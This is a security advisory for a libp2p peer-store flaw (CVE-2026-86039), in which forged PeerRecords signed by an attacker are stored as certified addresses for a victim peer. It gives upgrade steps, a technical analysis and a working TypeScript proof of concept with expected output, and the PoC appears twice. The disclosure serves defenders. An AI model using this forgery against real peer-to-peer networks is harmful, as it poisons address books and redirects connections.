CVE-2026-86039: libp2p PeerStore Accepts Attacker-signed PeerRecords For Vulnerability

HIGH
Advisory Identifier: GHSA-vrf4-mx87-p53w
CVSS 8.2
CWE-345 CWE-290
Published
Advisory Summary

CVE-2026-86039 is a HIGH (CVSS 8.2) peerstore accepts attacker-signed peerrecords for vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting libp2p libraries in the npm ecosystem. The issue involves peerstore accepts attacker-signed peerrecords for a victim peer id and stores certified attacker addresses. Remediation is available by upgrading affected packages to version 12.0.24.

CVE-2026-86039 at a Glance

CVE Identifier CVE-2026-86039
GHSA Identifier GHSA-vrf4-mx87-p53w
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product libp2p
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-86039

To remediate this vulnerability, upgrade all affected libp2p dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@libp2p/peer-store fixed: 12.0.24
npm install @libp2p/peer-store@12.0.24
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @libp2p/peer-store

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-86039, inspect your project dependencies using npm:

npm ls @libp2p/peer-store

Analyze the terminal output to locate any version of libp2p in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.0.24), your application is affected.

Note: The npm ls @libp2p/peer-store command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In libp2p, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim. ### Details The vulnerable code is in `packages/peer-store/src/index.ts`: - `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature. - `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID. - The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer. - `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes. - `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID. The missing invariant is: ```ts peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID())) ``` `packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior: ```ts if (!peerRecord.peerId.equals(envelopePeer)) { throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord') } ``` The gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling: ```ts peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer }) ``` This does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`. ### PoC ```ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair } from '@libp2p/crypto/keys' import { defaultLogger } from '@libp2p/logger' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record' import { persistentPeerStore } from '@libp2p/peer-store' import { multiaddr } from '@multiformats/multiaddr' import { MemoryDatastore } from 'datastore-core/memory' import { TypedEventEmitter } from 'main-event' const label = 'Certified peer-record address hijack' async function main (): Promise<void> { const localKey = await generateKeyPair('Ed25519') const attackerKey = await generateKeyPair('Ed25519') const victimKey = await generateKeyPair('Ed25519') const attacker = peerIdFromPrivateKey(attackerKey) const victim = peerIdFromPrivateKey(victimKey) const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001') const peerStore = persistentPeerStore({ peerId: peerIdFromPrivateKey(localKey), datastore: new MemoryDatastore(), events: new TypedEventEmitter(), logger: defaultLogger() }) // Payload claims victim, but the envelope is signed by attacker. const forgedRecord = new PeerRecord({ peerId: victim, multiaddrs: [attackerAddr], seqNumber: 999999n }) const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey) // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker. const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), { expectedPeer: attacker }) assert.equal(accepted, true) const poisonedVictim = await peerStore.get(victim) assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({ multiaddr: multiaddr.toString(), isCertified })), [{ multiaddr: attackerAddr.toString(), isCertified: true }]) console.log(`${label} reproduced`) console.log(`attacker signer: ${attacker}`) console.log(`victim storage key: ${victim}`) console.log(`stored certified address: ${attackerAddr}`) } main().catch(err => { console.error(err) process.exitCode = 1 }) ``` Expected output: ```text Certified peer-record address hijack reproduced attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn stored certified address: /ip4/203.0.113.66/tcp/4001 ``` ### Impact Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records. This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

CVE-2026-86039 Affected libp2p Versions

1 component(s)
Fixed Versions:
12.0.24
Product / Package Ecosystem Affected Versions Fixed Version
@libp2p/peer-store
npm
≥ 8.0.0
< 12.0.24
12.0.24

References

Frequently Asked Questions

What is CVE-2026-86039?
CVE-2026-86039 is a security vulnerability in libp2p involving PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses under CWE-345: Insufficient Verification of Data Authenticity.
Which libp2p versions are affected?
Affected versions include releases prior to 12.0.24 across affected packages: @libp2p/peer-store.
What version fixes CVE-2026-86039?
Upgrading to 12.0.24 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @libp2p/peer-store affected?
Yes, @libp2p/peer-store is affected in releases prior to 12.0.24. Upgrade your dependency to 12.0.24 or later.
What is the CVSS score of CVE-2026-86039?
CVE-2026-86039 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-86039?
CVE-2026-86039 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check npm dependencies for CVE-2026-86039?
Run the dependency tree command: 'npm ls @libp2p/peer-store'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vrf4-mx87-p53w",
  "modified" : "2026-09-17T18:01:38Z",
  "published" : "2026-09-17T18:01:38Z",
  "aliases" : [ "CVE-2026-86039" ],
  "summary" : "libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses",
  "details" : "### Summary\n`@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.\n\n### Details\nThe vulnerable code is in `packages/peer-store/src/index.ts`:\n\n- `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature.\n- `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID.\n- The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer.\n- `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes.\n- `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID.\n\nThe missing invariant is:\n\n```ts\npeerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))\n```\n\n`packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior:\n\n```ts\nif (!peerRecord.peerId.equals(envelopePeer)) {\n  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')\n}\n```\n\nThe gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling:\n\n```ts\npeerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })\n```\n\nThis does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`.\n\n### PoC\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from 'node:assert'\nimport { generateKeyPair } from '@libp2p/crypto/keys'\nimport { defaultLogger } from '@libp2p/logger'\nimport { peerIdFromPrivateKey } from '@libp2p/peer-id'\nimport { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'\nimport { persistentPeerStore } from '@libp2p/peer-store'\nimport { multiaddr } from '@multiformats/multiaddr'\nimport { MemoryDatastore } from 'datastore-core/memory'\nimport { TypedEventEmitter } from 'main-event'\n\nconst label = 'Certified peer-record address hijack'\n\nasync function main (): Promise<void> {\n  const localKey = await generateKeyPair('Ed25519')\n  const attackerKey = await generateKeyPair('Ed25519')\n  const victimKey = await generateKeyPair('Ed25519')\n\n  const attacker = peerIdFromPrivateKey(attackerKey)\n  const victim = peerIdFromPrivateKey(victimKey)\n  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')\n\n  const peerStore = persistentPeerStore({\n    peerId: peerIdFromPrivateKey(localKey),\n    datastore: new MemoryDatastore(),\n    events: new TypedEventEmitter(),\n    logger: defaultLogger()\n  })\n\n  // Payload claims victim, but the envelope is signed by attacker.\n  const forgedRecord = new PeerRecord({\n    peerId: victim,\n    multiaddrs: [attackerAddr],\n    seqNumber: 999999n\n  })\n  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)\n\n  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.\n  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {\n    expectedPeer: attacker\n  })\n\n  assert.equal(accepted, true)\n\n  const poisonedVictim = await peerStore.get(victim)\n  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({\n    multiaddr: multiaddr.toString(),\n    isCertified\n  })), [{\n    multiaddr: attackerAddr.toString(),\n    isCertified: true\n  }])\n\n  console.log(`${label} reproduced`)\n  console.log(`attacker signer: ${attacker}`)\n  console.log(`victim storage key: ${victim}`)\n  console.log(`stored certified address: ${attackerAddr}`)\n}\n\nmain().catch(err => {\n  console.error(err)\n  process.exitCode = 1\n})\n```\n\nExpected output:\n\n```text\nCertified peer-record address hijack reproduced\nattacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj\nvictim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn\nstored certified address: /ip4/203.0.113.66/tcp/4001\n```\n\n### Impact\nAttackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.\n\nThis does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@libp2p/peer-store"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "12.0.24"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/pull/3570"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/libp2p/js-libp2p"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-290", "CWE-345" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T18:01:38Z",
    "nvd_published_at" : null
  }
}